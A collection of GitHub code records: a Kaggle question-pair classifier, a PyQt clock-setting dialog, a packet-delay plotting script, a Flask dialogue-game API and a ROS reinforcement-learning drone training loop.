difference\r\n##we are going to use QuestionPairsToVectorMatrix with df_train.is_duplicate for labels\r\n#\r\n#train_labels=df_train.is_duplicate\r\n#train_data=QuestionPairsToVectorMatrix(train_question1,train_question2)\r\n#test_labels=df_test.is_duplicate\r\n#test_data=QuestionPairsToVectorMatrix(test_question1,test_question2)\r\n#total_labels=train_labels+test_labels\r\n#total_data=np.concatenate([train_data,test_data],axis=1)\r\n##validation_data=QuestionPairsToVectorMatrix(validation_question1,validation_question2)\r\n##while training on train data and checking on test data we achieved 0.73898274341 accuracy\r\n#clf = MLPClassifier(solver='adam', alpha=1e-5,hidden_layer_sizes=(300, 1), random_state=1,max_iter=200)\r\n#A=clf.fit(list(train_data.T),list(train_labels))\r\n#Prediction=A.predict(list(test_data.T))\r\n#Accuracy=sum(Prediction==test_labels)/len(Prediction)\r\n#\r\n#rf = RandomForestClassifier(n_estimators=100)\r\n#rf.fit(train_data.T, train_labels)\r\n#Accuracy_rf=rf.score(test_data.T,test_labels)\r\ndef avg_word(words):\r\n ans=np.zeros(embed_size)\r\n if len(words)>0:\r\n for i in range(len(words)):\r\n ans=ans+vector(words[i])\r\n ans=ans/(2*len(words))\r\n return ans\r\ndef DeleteCommonWords(string1, string2):\r\n toremove = []\r\n Words1=str.split(string1)#новый объект: массив всех слов из первой строки. \r\n Words2=str.split(string2)#То же и для второй\r\n for i in iter(Words1):\r\n if i in Words2:#i встречается в Words2 хотя бы на 1 позиции)\r\n toremove.append(i)\r\n Words2.remove(i)\r\n #All values in toremove should occur ONLY min(number of occurences in Words1,number of occurences in Words2) times\r\n \r\n for i in toremove:\r\n Words1.remove(i)\r\n \r\n return Words1,Words2,toremove\r\nfrom sklearn.ensemble import RandomForestClassifier\r\ndef QuestionPairsToVectorMatrix(train_question1,train_question2,maxlen=99999999999999):\r\n #мы удалили все лишние слова\r\n#1е предложение представить как среднее арифметическое векторов всех слов, то же и для 2го предложения.\r\n difference=np.zeros((3*embed_size,len(train_question1)))\r\n#записать один вектор поверх другого\r\n for i in range(0,len(train_question1)):#for each training example\r\n if i%10000==0:\r\n print('index ' + str(i))\r\n #print(Accuracy_3)\r\n train_question1_words, train_question2_words,context_words= DeleteCommonWords(train_question1[i],train_question2[i])\r\n newvector=np.concatenate([avg_word(train_question1_words),\r\n avg_word(train_question2_words),\r\n avg_word(context_words)\r\n ],axis=0)\r\n difference[:,i]=newvector/4#to be from -1 and 1\r\n return difference\r\n#we are going to use QuestionPairsToVectorMatrix with df_train.is_duplicate for labels\r\n\r\ntrain_labels=df_train.is_duplicate\r\ntrain_data=QuestionPairsToVectorMatrix(train_question1,train_question2)\r\ntest_labels=df_test.is_duplicate\r\ntest_data=QuestionPairsToVectorMatrix(test_question1,test_question2)\r\n#while training on train data and checking on test data we achieved 0.73898274341 accuracy\r\nprint(\"using adam with 300 hidden layer size\")#300 is also to be tried! #100 gave 0.803, 200 gave 0.817\r\nclf = MLPClassifier(solver='adam', alpha=1e-5,hidden_layer_sizes=(300, 1), random_state=1,max_iter=200)\r\nA=clf.fit(list(train_data.T),list(train_labels))\r\nPrediction=A.predict(list(test_data.T))\r\nAccuracy_3=sum(Prediction==test_labels)/len(Prediction)\r\nprint(Accuracy_3)\r\n#FINAL PREDICTION\r\ntotal_labels=np.concatenate([train_labels,test_labels])\r\ntotal_data=np.concatenate([train_data,test_data],axis=1)\r\ndel(train_data,test_data)\r\nA1=clf.fit(list(total_data.T),list(total_labels))\r\ndel(total_data)\r\ngc.collect()\r\nvalidation_data=QuestionPairsToVectorMatrix(validation_question1,validation_question2)\r\ndel(Word2Vec)\r\ngc.collect()\r\nprint(\"began predicting\")\r\nPrediction1=A1.predict(list(validation_data.T[:500000,:]))\r\nprint(\"first 500000 predicted\")\r\nPrediction2=A1.predict(list(validation_data.T[500000:1000000,:]))\r\nprint(\"first 1000000 predicted\")\r\nPrediction3=A1.predict(list(validation_data.T[1000000:1500000,:]))\r\nprint(\"first 1500000 predicted\")\r\nPrediction4=A1.predict(list(validation_data.T[1500000:2000000,:]))\r\nprint(\"first 2000000 predicted\")\r\nPrediction5=A1.predict(list(validation_data.T[2000000:,:]))\r\nprint(\"all\")\r\nPrediction=np.concatenate([Prediction1,Prediction2,Prediction3,Prediction4,Prediction5],axis=0)\r\nAnswer=pd.DataFrame( {'test_id' : validation.test_id,'is_duplicate' : Prediction})\r\nAnswer=Answer[['test_id','is_duplicate']]\r\nAnswer.to_csv(\"D://answer.csv\",index=False)\r\n#IsRight=(test_labels==Prediction)\r\n#Accuracy=sum(IsRight)/len(IsRight)\r\n\r\n\r\n\r\n#timer\r\n#import timeit\r\n#tic=timeit.default_timer()\r\n#toc=timeit.default_timer()\r\n#toc - tic #elapsed time in seconds","repo_name":"dimakarp1996/Quora-Question-Pairs-Kaggle-","sub_path":"Kaggle5(WAS_SENT).py","file_name":"Kaggle5(WAS_SENT).py","file_ext":"py","file_size_in_byte":14127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"6741581888","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport sys\nfrom PyQt4.QtGui import *\nfrom PyQt4.QtCore import *\nfrom datetime import datetime\nfrom numpad import *\nfrom spinbox import *\nimport os\n\nclass setTimeWidget(QWidget):\n def __init__(self, parent=None):\n super(setTimeWidget, self).__init__(parent)\n \n self.year_input = None\n self.month_input = None\n self.day_input = None\n self.hr_input = None\n self.min_input = None\n self.sec_input = None\n \n self.setGeometry(0,0,500,200)\n self.createWidgets()\n self.setWindowTitle(u\"設定時間\")\n cp = QDesktopWidget().availableGeometry().center()\n self.move(cp.x() - self.width() / 2, cp.y() - self.height() / 2)\n\n def okHandler(self):\n print(\"OK\")\n time_str = '{}/{}/{} {}:{}:{}'.format(self.year_input.value(),\n self.month_input.value(),\n self.day_input.value(),\n self.hr_input.value(),\n self.min_input.value(),\n self.sec_input.value())\n command = \"sudo date +'%Y/%m/%d %H:%M:%S' -s '{}'\".format(time_str)\n print(command)\n os.system(command)\n \n def cancelHandler(self):\n print(\"Cancel\")\n QCoreApplication.instance().quit()\n def createWidgets(self):\n dt = datetime.now()\n\n hbox_bottom = QHBoxLayout()\n ok_button = QPushButton(u\"確定\")\n ok_button.setFixedHeight(60)\n ok_button.clicked.connect(self.okHandler)\n cancel_button = QPushButton(u\"取消\")\n cancel_button.setFixedHeight(60)\n cancel_button.clicked.connect(self.cancelHandler)\n hbox_bottom.addWidget(ok_button)\n hbox_bottom.addWidget(cancel_button)\n\n year_label = QLabel(self)\n year_label.setText(u\"年:\")\n self.year_input = spinBox(self)\n self.year_input.setRange(1900, 3000)\n self.year_input.setValue(dt.year)\n\n month_label = QLabel(self)\n month_label.setText(u\"月:\")\n self.month_input = spinBox(self)\n self.month_input.setRange(1, 12)\n self.month_input.setValue(dt.month)\n\n day_label = QLabel(self)\n day_label.setText(u\"日:\")\n self.day_input = spinBox(self)\n self.day_input.setRange(1, 31)\n self.day_input.setValue(dt.day)\n\n hbox_top = QHBoxLayout()\n \n hbox_top.addWidget(year_label)\n hbox_top.addWidget(self.year_input)\n hbox_top.addWidget(month_label)\n hbox_top.addWidget(self.month_input)\n hbox_top.addWidget(day_label)\n hbox_top.addWidget(self.day_input)\n \n hr_label = QLabel(self)\n hr_label.setText(u\"時:\")\n self.hr_input = spinBox(self)\n self.hr_input.setRange(1, 23)\n self.hr_input.setValue(dt.hour)\n\n min_label = QLabel(self)\n min_label.setText(u\"分:\")\n self.min_input = spinBox(self)\n self.min_input.setRange(1, 59)\n self.min_input.setValue(dt.minute)\n\n sec_label = QLabel(self)\n sec_label.setText(u\"秒:\")\n self.sec_input = spinBox(self)\n self.sec_input.setRange(1, 59)\n self.sec_input.setValue(dt.second)\n\n hbox_mid = QHBoxLayout()\n hbox_mid.addWidget(hr_label)\n hbox_mid.addWidget(self.hr_input)\n hbox_mid.addWidget(min_label)\n hbox_mid.addWidget(self.min_input)\n hbox_mid.addWidget(sec_label)\n hbox_mid.addWidget(self.sec_input)\n \n vbox = QVBoxLayout()\n vbox.addLayout(hbox_top);\n vbox.addLayout(hbox_mid);\n vbox.addLayout(hbox_bottom);\n self.setLayout(vbox)\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n \n widget = setTimeWidget()\n #widget.setGeometry(100,100,500,200)\n widget.show()\n \n \n sys.exit(app.exec_())\n\n","repo_name":"ChungChe/set_time","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"36481861335","text":"#! /usr/bin/env python3\n\nimport csv\nfrom argparse import ArgumentParser, ArgumentTypeError, FileType\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os.path\nimport sys\n\n\ndef ordinal_suffix(number):\n '''\n get the suffix for a ordinal numeral in english ('st' for 1, 'nd' for 2 etc.)\n '''\n last_digit = number % 10\n if last_digit == 1:\n return 'st'\n elif last_digit == 2:\n return 'nd'\n elif last_digit == 3:\n return 'rd'\n else:\n return 'th'\n\n\ndef gen_plot_points(tsv_file, markersize, show, verbose):\n '''\n generate a point plot from a .tsv file\n\n parameters:\n - tsv_file: opened .tsv file containing the data that will be plotted\n - markersize: float determining the size of the plotted points\n - show: boolean that determines whether the plot will be shown (if show == True) or written to a file\n - verbose: boolean that determines whether information is written to stdout\n '''\n if verbose and not show:\n print(f'Plotting {tsv_file.name}... ', end='')\n\n arrival_times = csv.reader(tsv_file, delimiter='\\t')\n # numpy needs something array-like, thus the conversion to a list\n # also we only need the second column of every entry\n deltas = np.array(list(arrival_times), dtype=float)[:, 1]\n\n plt.plot(np.arange(len(deltas)), deltas, '.', markersize=markersize)\n plt.xlabel('Packet number')\n plt.ylabel('Delta delay')\n plt.title('Consecutive packet delay difference')\n\n if show:\n plt.show()\n else:\n extension_index = tsv_file.name.rfind(\".\")\n extension_index = len(tsv_file.name) if extension_index == -1 else extension_index\n plt.savefig(f'{tsv_file.name[:extension_index]}.pdf', format='pdf', bbox_inches='tight')\n\n if verbose and not show:\n print('done.')\n\n\ndef gen_plot_distribution(tsv_files_with_names, bin_size, percentile, limits, clip, show, verbose):\n '''\n generate a distribution plot from multiple .tsv files\n\n parameters:\n - tsv_files_with_names: list of tuples, each containing an opened .tsv file and the legend label for that data set\n - bin_size: bin size for generating the distribution histograms\n - percentile: what percentile of the data to use, see argparse help for more. ignored if limits is not None\n - limits: tuple of floats determining what part of the data to be used, see argparse help for more. must be None if percentile should be used\n - clip: boolean that determines whether data outside the range determined by percentile/limits will be clipped to the smallest/biggest allowed value\n - show: boolean that determines whether the plot will be shown (if show == True) or written to a file\n - verbose: boolean that determines whether information is written to stdout\n '''\n width = bin_size / (len(tsv_files_with_names) + 0) # TODO: 1 or bin_size as numerator?\n deltas = [None for _ in range(len(tsv_files_with_names))]\n\n for i, (file, _) in enumerate(tsv_files_with_names):\n if verbose:\n print(f'Generating distribution for {file.name}... ', end='')\n sys.stdout.flush()\n\n arrival_times = csv.reader(file, delimiter='\\t')\n # numpy needs something array-like, thus the conversion to a list\n # also we only need the second column of every entry\n deltas[i] = np.array(list(arrival_times), dtype=float)[:, 1]\n\n if limits is None:\n bin_min = min(np.percentile(d, 100 - percentile) for d in deltas)\n bin_max = max(np.percentile(d, percentile) for d in deltas)\n else:\n bin_min, bin_max = limits\n \n if clip:\n for i in range(len(deltas)):\n deltas[i] = np.clip(deltas[i], bin_min, bin_max)\n\n # we need to add bin_size twice to the upper limit because\n # 1. we want the last bin to be [bin_max, bin_max + bin_size] and not [bin_max - bin_size, bin_max] for symmetry reasons\n # 2. np.arange excludes the upper limit but we want it to be included (adding any value larger than zero and less or equal to the step size,\n # i. e. bin_size, would work)\n bins = np.arange(bin_min, bin_max + 2*bin_size, bin_size)\n fig, ax = plt.subplots()\n\n for i, d in enumerate(deltas):\n histo, bin_edges = np.histogram(d, bins=bins)\n histo = histo / np.sum(histo) # calculate ratio, use np.sum(histo) instead of len(deltas) because we may have discarded some values\n ax.bar(bin_edges[:-1] + width*i, histo, width, label=tsv_files_with_names[i][1])\n\n if verbose:\n print('done.')\n \n if clip:\n # remove major ticks that would collide with the minor ticks for bin_min and bin_max\n xticks = [t for t in ax.get_xticks() if (t != float(int(bin_min))) and (t != float(int(bin_max)))]\n xticks = xticks[1:-1] # don't include outmost ticks\n xlabels = [str(int(t)) for t in xticks]\n ax.set_xticks(xticks)\n ax.set_xticklabels(xlabels)\n\n # add minor ticks for bin_min and bin_max\n ax.set_xticks([float(int(bin_min)), float(int(bin_max))], minor=True)\n ax.set_xticklabels([f'$\\\\leq${int(bin_min)}', f'$\\\\geq${int(bin_max)}'], minor=True, rotation=45)\n\n ax.set_xlabel('Delay differences [ms]')\n ax.set_ylabel('Ratio')\n ax.set_title('Distribution of consecutive packet delay difference')\n ax.legend(loc='upper right')\n\n if show:\n plt.show()\n else:\n if verbose:\n print('Saving plot... ', end='')\n sys.stdout.flush()\n \n fig.savefig('cpdv_dist.pdf', format='pdf', bbox_inches='tight')\n\n if verbose:\n print('done.')\n\n\ndef dir_checker(directory):\n '''\n argparse type checker that verifies that a dirname is valid and the corresponding directory contains a `cpdv_flow0.tsv` file\n '''\n if not os.path.isdir(directory):\n raise ArgumentTypeError(f'`{directory}` is not a valid directory!')\n return os.path.dirname(directory) # this removes any trailing slashes which is nice for the plot legend\n\n\nif __name__ == '__main__':\n DEFAULT_MARKER = 2.5\n DEFAULT_BINSIZE = 1\n DEFAULT_PERCENTILE = 100\n DEFAULT_FILENAME = 'cpdv_flow0.tsv'\n VERBOSE_HELP = 'print extra information to stdout'\n\n # note on -v: the subcommands don't inherit the -v flag, so `./cpdv_diagram.py points -v` or `./cpdv_diagram.py points -v `\n # would be invalid and only `./cpdv_diagram.py -v points ` would work. because that's not very user-friendly we need to add the -v flag\n # to each subparser. but that overrides the main parser's verbose flag (i. e. `./cpdv_diagram.py -v points ` would have args.verbose == False\n # because the subparser didn't receive the -v flag), so we need to store the subparser's flag under a different name\n parser = ArgumentParser(description=\"Generate .pdf diagrams from .tsv files generated by cpdv_gen_tsv.py.\")\n parser.add_argument('-v', '--verbose', dest='verbose', action='store_true', help=VERBOSE_HELP)\n subparsers = parser.add_subparsers(required=True, title='mode', dest='mode', help='run this script with ` -h` for help on the different modes')\n\n parser_points = subparsers.add_parser('points', help='plot the data points from each file separately')\n parser_points.add_argument('tsv_files', metavar='FILE', type=FileType('r'), nargs='+', help='a .tsv file to process')\n parser_points.add_argument('-m', '--marker', type=float, default=DEFAULT_MARKER, help=f'markersize passed to matplotlib, default {DEFAULT_MARKER}')\n parser_points.add_argument('-s', '--show', action='store_true', help='show the diagram(s) instead of writing them to a file')\n parser_points.add_argument('-v', '--verbose', dest='verbose_points', action='store_true', help=VERBOSE_HELP)\n\n parser_distribution = subparsers.add_parser('distribution', help='plot the distribution of packet delay in one diagram, each .tsv file in another color')\n parser_distribution.add_argument('-b', '--binsize', type=float, default=DEFAULT_BINSIZE, help=f'bin size for the histogram, default {DEFAULT_BINSIZE}')\n\n dist_group = parser_distribution.add_mutually_exclusive_group()\n dist_group.add_argument('-p', '--percentile', type=int, default=DEFAULT_PERCENTILE, help=f'percentile of what data should be used (e. g. 95 means that only the \\\n values between the 5th and 95th percentile of the data will be considered), default {DEFAULT_PERCENTILE}')\n dist_group.add_argument('-l', '--limits', metavar='LIMIT', type=float, nargs=2, help='set the range of used values, all values below the first or above the second \\\n limit will be ignored; this cannot be used together with -p and overrides the default percentile value')\n \n parser_distribution.add_argument('-c', '--noclip', action='store_false', dest='clip', help='don\\'t clip values below or above the used range to the last allowed value')\n \n dir_group = parser_distribution.add_mutually_exclusive_group(required=True)\n dir_group.add_argument('-d', '--dirs', metavar='DIR', type=dir_checker, nargs='+', help='read data from cpdv_flow0.tsv from each given directory')\n dir_group.add_argument('-t', '--tsv', metavar='FILE', type=FileType('r'), nargs='+', help='read data from the given .tsv files')\n\n parser_distribution.add_argument('-f', '--filename', default=DEFAULT_FILENAME, help=f'change the filename used when given directories, default {DEFAULT_FILENAME}')\n parser_distribution.add_argument('-s', '--show', action='store_true', help='show the diagram instead of writing it to a file')\n parser_distribution.add_argument('-v', '--verbose', dest='verbose_distribution', action='store_true', help=VERBOSE_HELP)\n\n args = parser.parse_args(sys.argv[1:]) # don't pass script name to argparser\n\n if args.mode == 'points':\n for tsv in args.tsv_files:\n gen_plot_points(tsv, args.marker, args.show, args.verbose or args.verbose_points)\n elif args.mode == 'distribution':\n if args.tsv is not None:\n tsv_files_with_names = [(f, f.name[:-4]) for f in args.tsv]\n else:\n for d in args.dirs:\n if not os.path.isfile(os.path.join(d, args.filename)):\n print(f'`{d}` does not contain a `{args.filename}` file!')\n sys.exit(1)\n tsv_files_with_names = [(open(os.path.join(d, args.filename), 'r'), d) for d in args.dirs]\n gen_plot_distribution(tsv_files_with_names, args.binsize, args.percentile, args.limits, args.clip, args.show, args.verbose or args.verbose_distribution)\n","repo_name":"richi235/jitter-graphs","sub_path":"cpdv_diagram.py","file_name":"cpdv_diagram.py","file_ext":"py","file_size_in_byte":10607,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"39871202245","text":"import gc\nfrom flask import Flask, jsonify\nfrom flask import request\nfrom sqlalchemy.orm.exc import NoResultFound, MultipleResultsFound\n\nimport controllers.GameController\nfrom controllers.DatabaseController import DatabaseController\nfrom controllers.LoggingController import LoggingController\nfrom exception.ExceptionHandler import ExceptionHandler\nfrom factory.GameFactory import *\nfrom model.Dialogue import Dialogue\nfrom model.GameStatus import GameStatus\nfrom serializers.Serializer import DialogueSerializer, GameStatusSerializer\n\napp = Flask(__name__)\n\n\ndef main():\n try:\n app.run()\n except Exception as err:\n code = err.args[0] if len(err.args) > 1 else 500\n message = err.args[1] if len(err.args) > 1 else err.args[0]\n raise ExceptionHandler(message, code)\n\n\ndef start_dialogue(game_id: str, game_status: GameStatus = None):\n game_fac = GameFactory()\n game_from_db, error = get_game_from_db(game_id)\n if error is not None:\n return None, error\n input_stream = InputStream(game_from_db.dialogueDescription)\n game = game_fac.create_game(input_stream)\n if game_status is not None:\n game_status.set_game_template(game)\n game_controller = controllers.GameController.GameController(game_tmp=game, dialogueId=game_id,\n game_status=game_status)\n try:\n response, error = game_controller.play()\n except Exception as err:\n code = err.args[0] if len(err.args) > 1 else 500\n message = err.args[1] if len(err.args) > 1 else err.args[0]\n response = jsonify(code=code, message=message), code\n LoggingController.logger.debug(\"Error: \", err)\n return response, error\n\n\ndef get_game_from_db(game_id: str):\n error = None\n dg = None\n try:\n \"\"\"@:var Dialogue dg\"\"\"\n dg = db_controller.session.query(Dialogue).filter(Dialogue.id == game_id).one()\n except NoResultFound:\n error = ExceptionHandler('ENTITY_NOT_FOUND', 404)\n except MultipleResultsFound:\n error = ExceptionHandler('MULTIPLE_ENTITIES_WITH_SAME_ID', 500)\n return dg, error\n\n\nwith app.app_context():\n db_controller = DatabaseController()\n\n @app.teardown_request\n def teardown_request(exception):\n if db_controller is not None:\n db_controller.session.close()\n gc.collect()\n\n @app.errorhandler(ExceptionHandler)\n def handle_invalid_usage(error):\n response = jsonify(error.to_dict())\n response.status_code = error.status_code\n return response\n\n\n @app.route(\"/utterance\", methods=['POST'])\n def locution():\n data = request.get_json()\n if 'dialogueId' not in data:\n raise ExceptionHandler(\"DIALOGUE_ID_MUST_BE_SUPPLIED\", 400)\n if 'utterance' not in data:\n raise ExceptionHandler(\"UTTERANCE_MUST_BE_SUPPLIED\", 400)\n try:\n game_status = None\n if 'gameStatus' in data:\n game_status = data.get('gameStatus')\n game_status = GameStatusSerializer().deserialize(game_status)\n utterance, error = start_dialogue(data.get('dialogueId'), game_status)\n if error is not None:\n return jsonify(message=error.message, payload=error.payload), error.status_code\n return utterance.gameStatusSerialized\n except Exception as err:\n code = err.args[0] if len(err.args) > 1 else 500\n message = err.args[1] if len(err.args) > 1 else err.args[0]\n raise ExceptionHandler(message, code)\n\n\n @app.route(\"/dialogue\", methods=['POST', 'GET'])\n def dialogue():\n if request.method == 'GET':\n dialogue_repo = db_controller.session.query(Dialogue).all()\n response = []\n for dg in dialogue_repo:\n response.append(DialogueSerializer().serialize(dg))\n return jsonify(dialogues=response)\n elif request.method == 'POST':\n data = request.json\n if 'id' not in data or 'dialogueDescription' not in data:\n raise ExceptionHandler(\"PARAMS_MISSING\", 400)\n # check if exists already\n dg = db_controller.session.query(Dialogue).filter(Dialogue.id == data.get('id')).first()\n if dg is not None:\n raise ExceptionHandler(\"ENTITY_EXISTS_CANNOT_CREATE\", 409)\n dg = DialogueSerializer().deserialize(data)\n db_controller.session.add(dg)\n db_controller.session.commit()\n resp = DialogueSerializer().serialize(dg)\n return jsonify({'response': resp}), 201\n\n\n @app.route(\"/dialogue/\", methods=['GET'])\n def check_dialogue(id):\n game, error = get_game_from_db(id)\n if error is not None:\n raise error\n return jsonify(id=game.id, description=game.dialogueDescription)\n\n\n @app.route(\"/dialogue/\", methods=['DELETE'])\n def delete_dialogue(id):\n game = db_controller.session.query(Dialogue).filter(Dialogue.id == id).first()\n if game is None:\n raise ExceptionHandler('ENTITY_NOT_FOUND', 404)\n db_controller.session.delete(game)\n db_controller.session.commit()\n return jsonify()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"siwells/ADAMANT","sub_path":"src/Application.py","file_name":"Application.py","file_ext":"py","file_size_in_byte":5284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"21736575315","text":"#! /usr/bin/env python\n#-*- coding: UTF-8 -*- \n\nimport rospy\nfrom common.game import Game\nfrom mavros_msgs.msg import PositionTarget\nfrom multi_rotor_avoidance_rl.msg import State\nimport numpy as np\nimport os\nimport threading\nfrom tensorboardX import SummaryWriter\n\nimport DDPG\nimport TD3\nimport SAC\n\nload_progress = False\nload_buffer_flag = False\nload_actor_flag = False\nload_critic_flag = False\nload_log_alpha_flag = False\nload_optim_flag = False\n\nfix_actor_flag = False\nuse_priority = True\n\npolicy = \"SAC\" # DDPG / TD3 / SAC\ngame_name = \"train_env_7m\"\n\nepsilon = 0.8 # TD3\nepsilon_decay = 0.99995 # TD3\n\nstate_dim = 41\naction_dim = 2\n\nmax_episode = 500\nmax_step_size = 300\ninit_episode = 50\n\nK = 1\n\n# variable\nepisode_rewards = np.array([])\nepisode_times = np.array([])\nstep_rewards = np.array([])\nactor_losses = np.array([])\ncritic_losses = np.array([])\nalpha_losses = np.array([])\nalphas = np.array([])\nagent = None\n\nurl = os.path.dirname(os.path.realpath(__file__)) + '/data/'\nwriter = SummaryWriter(url + '../../log')\n\nstep_time = 0.2\n\n# initialize agent\nkwargs = {\n 'state_dim': state_dim,\n 'action_dim': action_dim,\n 'load_buffer_flag': load_buffer_flag,\n 'load_actor_flag': load_actor_flag,\n 'load_critic_flag': load_critic_flag,\n 'load_log_alpha_flag': load_log_alpha_flag,\n 'load_optim_flag': load_optim_flag,\n 'fix_actor_flag': fix_actor_flag,\n 'use_priority': use_priority\n}\n\nif (policy == \"TD3\"):\n agent = TD3.TD3(**kwargs)\nif (policy == \"DDPG\"):\n agent = DDPG.DDPG(**kwargs)\nif (policy == \"SAC\"):\n agent = SAC.SAC(**kwargs)\n\nclass saveThread(threading.Thread):\n\n def __init__(self):\n threading.Thread.__init__(self)\n\n def run(self):\n\n print(\"*Saving. Please don't close the window!\")\n\n begin_time = rospy.Time.now()\n # save data\n np.save(url + \"episode_rewards.npy\", episode_rewards)\n np.save(url + \"episode_times.npy\", episode_times)\n np.save(url + \"step_rewards.npy\", step_rewards)\n np.save(url + \"actor_losses.npy\", actor_losses)\n np.save(url + \"critic_losses.npy\", critic_losses)\n if policy == \"SAC\": np.save(url + \"alpha_losses.npy\", alpha_losses)\n if policy == \"SAC\": np.save(url + \"alphas.npy\", alphas)\n if policy == \"TD3\" or policy == \"DDPG\": np.save(url + \"epsilon.npy\", epsilon)\n # save model\n agent.save()\n # print\n save_time = (rospy.Time.now() - begin_time).to_sec()\n writer.add_scalar(\"DEBUG/save_time\", save_time, global_step=episode_rewards.size-1) \n \n print(\"Saved. Time consumed = %f seconds.\" % (save_time))\n\n\nclass learnThread(threading.Thread):\n \n def __init__(self):\n threading.Thread.__init__(self)\n\n def run(self):\n\n global actor_losses\n global critic_losses\n global alpha_losses\n global alphas\n\n # agent learn\n begin_time = rospy.Time.now()\n for i in range(K): agent.update()\n learn_time = (rospy.Time.now() - begin_time).to_sec()\n # log\n actor_losses = np.append(actor_losses, agent.actor_loss)\n writer.add_scalar(\"Loss/actor_loss\", agent.actor_loss, global_step=actor_losses.size-1) \n critic_losses = np.append(critic_losses, agent.critic_loss)\n writer.add_scalar(\"Loss/critic_loss\", agent.critic_loss, global_step=critic_losses.size-1) \n if policy == \"SAC\":\n alpha_losses = np.append(alpha_losses, agent.alpha_loss)\n writer.add_scalar(\"Loss/alpha_loss\", agent.alpha_loss, global_step=alpha_losses.size-1) \n alphas = np.append(alphas, agent.alpha.item())\n writer.add_scalar(\"Loss/alpha\", agent.alpha.item(), global_step=alphas.size-1) \n\n if step_rewards.size % 100 == 0:\n print(\"Learned. Time consumed = %f seconds.\" % (learn_time))\n\n\ndef loadData():\n\n global episode_rewards\n global episode_times\n global step_rewards\n global actor_losses\n global critic_losses\n global alpha_losses\n global alphas\n global epsilon\n episode_rewards = np.load(url + \"episode_rewards.npy\")\n episode_times = np.load(url + \"episode_times.npy\")\n step_rewards = np.load(url + \"step_rewards.npy\")\n actor_losses = np.load(url + \"actor_losses.npy\")\n critic_losses = np.load(url + \"critic_losses.npy\")\n\n for i in range(episode_rewards.size): writer.add_scalar(\"Performance/episode_reward\", episode_rewards[i], global_step=i) \n for i in range(episode_times.size): writer.add_scalar(\"Performance/episode_time\", episode_times[i], global_step=i) \n for i in range(step_rewards.size): writer.add_scalar(\"Performance/step_reward\", step_rewards[i], global_step=i) \n for i in range(actor_losses.size): writer.add_scalar(\"Loss/actor_loss\", actor_losses[i], global_step=i) \n for i in range(critic_losses.size): writer.add_scalar(\"Loss/critic_loss\", critic_losses[i], global_step=i) \n\n if policy == \"SAC\": \n alpha_losses = np.load(url + \"alpha_losses.npy\")\n alphas = np.load(url + \"alphas.npy\")\n\n for i in range(alpha_losses.size): writer.add_scalar(\"Loss/alpha_loss\", alpha_losses[i], global_step=i) \n for i in range(alphas.size): writer.add_scalar(\"Loss/alpha\", alphas[i], global_step=i) \n\n if policy == \"TD3\" or policy == \"DDPG\": epsilon = np.load(url + \"epsilon.npy\")\n\n print(\"1. Restore episode: %d\" % (episode_rewards.size))\n print(\"2. Restore step: %d\" % (step_rewards.size))\n \n\n\nif __name__ == '__main__':\n\n # initialize ros\n rospy.init_node(\"training_node\")\n\n # raw data\n rawCmdPub = rospy.Publisher(\"raw_cmd\", PositionTarget, queue_size=1)\n modCmdPub = rospy.Publisher(\"mod_cmd\", PositionTarget, queue_size=1)\n statePub = rospy.Publisher(\"state\", State, queue_size=1)\n\n # wait for world building\n rospy.sleep(rospy.Duration(3))\n\n # initialize environment\n env = Game(\"iris\", game_name)\n \n # load data if true\n if load_progress: loadData()\n\n episode_begin = episode_rewards.size\n\n # start to train\n for episode in range(episode_begin, max_episode):\n\n print(\"=====================================\")\n print(\"=========== Episode %d ===============\" % (episode))\n print(\"=====================================\")\n\n\n if episode == episode_begin:\n s0 = env.start()\n print(\"Game start!\")\n else:\n s0 = env.reset()\n\n episode_reward = 0\n episode_begin_time = rospy.Time.now()\n\n for step in range(max_step_size):\n\n step_begin_time = rospy.Time.now()\n\n # choose action\n a0 = agent.act(s0)\n\n # DEBUG\n pt = PositionTarget()\n pt.velocity.x = (a0[0]+1)/4.0\n pt.yaw_rate = a0[1]\n rawCmdPub.publish(pt)\n\n if (policy == \"TD3\" or policy == \"DDPG\"):\n if epsilon > np.random.random():\n a0 = (a0 + np.random.normal(0, 0.3, size=a0.size)).clip(-1.0, 1.0)\n\n # DEBUG\n pt.velocity.x = (a0[0]+1)/4.0\n pt.yaw_rate = a0[1]\n modCmdPub.publish(pt) \n\n # agent learn\n if episode < init_episode: agent.fix_actor_flag = True\n else: agent.fix_actor_flag = False\n \n learnThread().start()\n\n # step\n s1, r1, done = env.step(step_time, pt.velocity.x, 0, pt.yaw_rate) \n\n # DEBUG\n msg = State()\n msg.header.stamp = rospy.Time.now()\n msg.cur_state = s0\n msg.next_state = s1\n statePub.publish(msg)\n\n # save transition\n agent.put(s0, a0, r1, s1, done)\n\n # plot and save\n step_rewards = np.append(step_rewards, r1)\n writer.add_scalar(\"Performance/step_reward\", r1, global_step=step_rewards.size-1) \n writer.add_scalar(\"DEBUG/step_time\", (rospy.Time.now() - step_begin_time).to_sec(), global_step=step_rewards.size-1) \n\n # other\n epsilon = max(epsilon_decay*epsilon, 0.20)\n episode_reward += r1\n s0 = s1\n\n if done: break\n if rospy.is_shutdown(): break\n\n episode_time = (rospy.Time.now() - episode_begin_time).to_sec()\n episode_rewards = np.append(episode_rewards, episode_reward)\n episode_times = np.append(episode_times, episode_time)\n writer.add_scalar(\"Performance/episode_reward\", episode_reward, global_step=episode_rewards.size-1) \n writer.add_scalar(\"Performance/episode_time\", episode_time, global_step=episode_times.size-1) \n\n if policy == \"DDPG\" or policy == \"TD3\":\n print(\"epsilon = %f\" % (epsilon))\n\n if rospy.is_shutdown(): break\n\n saveThread().start()\n\n rospy.spin()\n","repo_name":"Vinson-sheep/multi_rotor_avoidance_rl","sub_path":"scripts/training_node.py","file_name":"training_node.py","file_ext":"py","file_size_in_byte":8773,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"29"} 